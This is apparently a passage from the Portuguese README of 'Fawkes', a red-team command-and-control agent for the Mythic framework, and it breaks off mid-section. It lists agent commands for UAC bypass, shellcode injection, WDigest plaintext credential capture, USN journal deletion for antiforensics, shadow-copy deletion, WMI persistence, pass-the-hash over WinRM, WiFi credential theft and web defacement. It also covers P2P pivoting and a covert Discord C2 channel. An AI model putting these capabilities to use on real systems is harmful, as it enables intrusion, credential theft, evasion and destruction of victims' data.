uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Apenas Windows)** Ignorar UAC para escalar de integridade média para alta. 8 técnicas: sequestro de registro, sequestro de variável de ambiente, abuso de arquivo INF, sequestro de CLSID COM, diretório confiável simulado. Padrão gera callback elevado (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtrar ou contar linhas duplicadas consecutivas em um arquivo. Modo count ordena por frequência. Multiplataforma (T1083).
unlink | `unlink -connection_id <uuid>` | Desconectar um agente P2P vinculado (TCP ou named pipe). Multiplataforma (T1572).
uptime | `uptime` | Mostrar tempo de atividade do sistema, hora de inicialização e médias de carga. Multiplataforma (T1082).
upload | `upload` | Enviar um arquivo para o alvo com transferência de arquivo fragmentada. Suporta descompressão automática de arquivos gzip. Verificação de hash SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Apenas Windows)** Consultar ou excluir o Journal de Alterações USN do NTFS — destrói o histórico de operações de arquivo para antiforense (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Injetar shellcode em um processo remoto (inject), migrar agente (migrate: inject + exit) ou gerar novo processo com LD_PRELOAD .so (ldpreload: apenas Linux, sem ptrace, ignora Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** escrita direta em /proc/PID/mem, LD_PRELOAD via memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Detectar ambiente VM/hypervisor ou analisar evasão de sandbox. `detect`: OUI MAC, DMI/SMBIOS, ferramentas VM, SCSI, flag CPU hypervisor. `sandbox`: análise pontuada — contagem de CPU, RAM, disco, tempo de atividade, timing de sleep, hostname, contagem de processos, nome de usuário. Multiplataforma (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Técnicas de impacto: Gerenciamento VSS (Windows), inibição de recuperação (T1490), desligamento/reinicialização (T1529, multiplataforma). Ações destrutivas requerem -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Monitorar um diretório em busca de alterações no sistema de arquivos — detecta arquivos novos, modificados e excluídos via polling. Suporta filtragem glob e detecção de hash MD5. Multiplataforma (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Contar linhas, palavras, caracteres e bytes em arquivos. Modo diretório com filtragem de padrão glob e totais. Multiplataforma (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Apenas Windows)** Gerenciar cache de credenciais em texto claro WDigest. Habilitar para capturar senhas em texto claro no próximo logon. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` ou `winrm -action check -host <target> [-username <user> -password <pass>]` | Executar comandos em hosts Windows remotos via WinRM com autenticação NTLM. Suporta pass-the-hash, cmd.exe e PowerShell. `check` valida pré-requisitos WinRM (portas 5985/5986, autenticação, shell). Multiplataforma (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Apenas Windows)** Enumerar janelas de aplicativo visíveis — mostra HWND, PID, nome do processo, classe da janela e título. Filtros de pesquisa por título/processo/classe. MITRE T1010.
who | `who [-all true]` | Mostrar usuários atualmente logados e sessões ativas. Linux: analisa utmp. Windows: API WTS. macOS: comando who. Multiplataforma (T1033).
whoami | `whoami` | Exibir identidade do usuário atual e contexto de segurança. Windows: nome de usuário, SID, tipo de token, nível de integridade, associações a grupo, privilégios. Linux: usuário, UID, GID, grupos, capacidades efetivas (decodificadas), contexto SELinux/AppArmor, detecção de contêiner. macOS: usuário, UID, GID, grupos.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Apenas Windows)** Executar consultas WMI, criação de processo, upload de arquivo e execução preparada via API COM. upload: transferir arquivos via certutil/PowerShell staging. exec-staged: enviar e depois executar com limpeza automática. `check` valida pré-requisitos WMI (RPC 135, conectividade WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Apenas Windows)** Persistência por Assinatura de Evento WMI via API COM. Suporta consumidores CommandLine e ActiveScript (VBScript/JScript). Sem arquivo, sobrevive a reinicializações. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Recuperar perfis de rede WiFi salvos e credenciais. Windows: API WLAN, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Keychain. Multiplataforma (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Escrever conteúdo em arquivos ou desfigurar páginas da web. `write`: criar/sobrescrever/anexar (padrão). `deface`: substituir conteúdo da web por mensagem de desfiguração (T1491, portão de segurança). Multiplataforma (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Apenas Windows)** Escrever bytes no endereço de uma função DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Apenas Linux/macOS)** Gerenciar atributos estendidos de arquivo — listar, obter, definir, excluir. Complemento Unix para ADS do Windows para ocultação de dados (T1564.004).## Aumento de Comandos do Forge

O Fawkes suporta o aumento de comandos do [Mythic Forge](https://github.com/MythicAgents/forge), que estende dinamicamente as capacidades do agente com coleções de ferramentas externas. Quando o Forge está instalado junto com o Mythic, comandos adicionais aparecem automaticamente na interface do Mythic para os callbacks do Fawkes — sem necessidade de reconstruir o agente.

**Coleções de ferramentas suportadas:**

| Coleção | Tipo | Executa via | Exemplos |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET assemblies | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF files | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### Configuração (Nova Instalação)

**Passo 1: Instalar o Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

Isto mapeia a interface de parâmetros genéricos do Forge para os nomes de comandos e parâmetros específicos do Fawkes. O mapeamento de campos:
- `bof_command` → comando `inline-execute` do Fawkes (execução BOF/COFF)
- `inline_assembly_command` → comando `inline-assembly` do Fawkes (execução de assembly .NET)
- `execute_assembly_command` → vazio (Fawkes usa inline-assembly para toda execução .NET)
- Os nomes dos parâmetros devem corresponder exatamente ao que as funções de agente do Fawkes definem no grupo de parâmetros "Forge"

**Passo 3: Reconstruir e reiniciar**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

**Parâmetros de construção:**

| Parâmetro | Descrição | Padrão |
|-----------|-------------|---------|
| `tcp_bind_address` | Endereço e porta para o filho escutar (ex.: `0.0.0.0:7777`) | _(vazio = modo HTTP)_ |
| `namedpipe_bind_name` | Nome do pipe nomeado para o filho escutar (ex.: `msrpc-f9a1`). Apenas Windows. | _(vazio)_ |

Quando `tcp_bind_address` ou `namedpipe_bind_name` está definido, o agente inicia no modo de escuta P2P em vez do modo de egresso HTTP.

**Fluxo de uso (TCP):**

1. Construa um **agente filho** com o perfil C2 TCP e `tcp_bind_address` definido (ex.: `0.0.0.0:7777`)
2. Implante o filho em um host interno (sem necessidade de acesso à internet)
3. De um **agente de egresso** (perfil HTTP), execute: `link -host <child_ip> -port 7777`
4. O Mythic cria um novo callback para o filho — todo o tasking flui através do agente de egresso
5. Para desconectar: `unlink -connection_id <uuid>`

**Fluxo de uso (Pipe Nomeado):**

1. Construa um **agente filho** com o perfil C2 TCP e `namedpipe_bind_name` definido (ex.: `msrpc-f9a1`)
2. Implante o filho em um host Windows interno
3. De um **agente de egresso**, execute: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. A conexão usa SMB (porta 445), misturando-se com o tráfego normal de compartilhamento de arquivos do Windows
5. Para desconectar: `unlink -connection_id <uuid>`

**Criptografia:** AES-256-CBC com HMAC-SHA256 (igual ao perfil HTTP). O protocolo de rede usa framing prefixado por comprimento de 4 bytes sobre TCP ou pipe nomeado.

**Suporte a religação:** Se um pai desconecta (ex.: via `unlink` ou o agente pai morre), o agente filho armazena em cache seus dados de checkin e aguarda uma nova conexão pai. Quando um novo agente de egresso executa `link`, o filho se registra automaticamente no Mythic como um novo callback. Nenhuma intervenção manual necessária.

**Vários filhos:** Um agente de egresso pode vincular-se a vários filhos TCP e pipe nomeado simultaneamente. Cada filho opera independentemente com seu próprio callback.

**Observações de OPSEC:** Conexões de pipe nomeado usam SMB (porta 445) e geram menos indicadores de nível de rede do que TCP bruto, mas o Sysmon Event ID 17/18 (PipeEvent) e eventos ETW do Microsoft-Windows-SMBClient serão registrados se configurados.

### Perfil C2 Discord

O perfil Discord usa um bot e um canal do Discord como transporte C2 encoberto. O agente se comunica com o Mythic postando mensagens criptografadas em um canal do Discord, onde um bot do lado do servidor as retransmite para o Mythic via gRPC push C2.

**Arquitetura:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic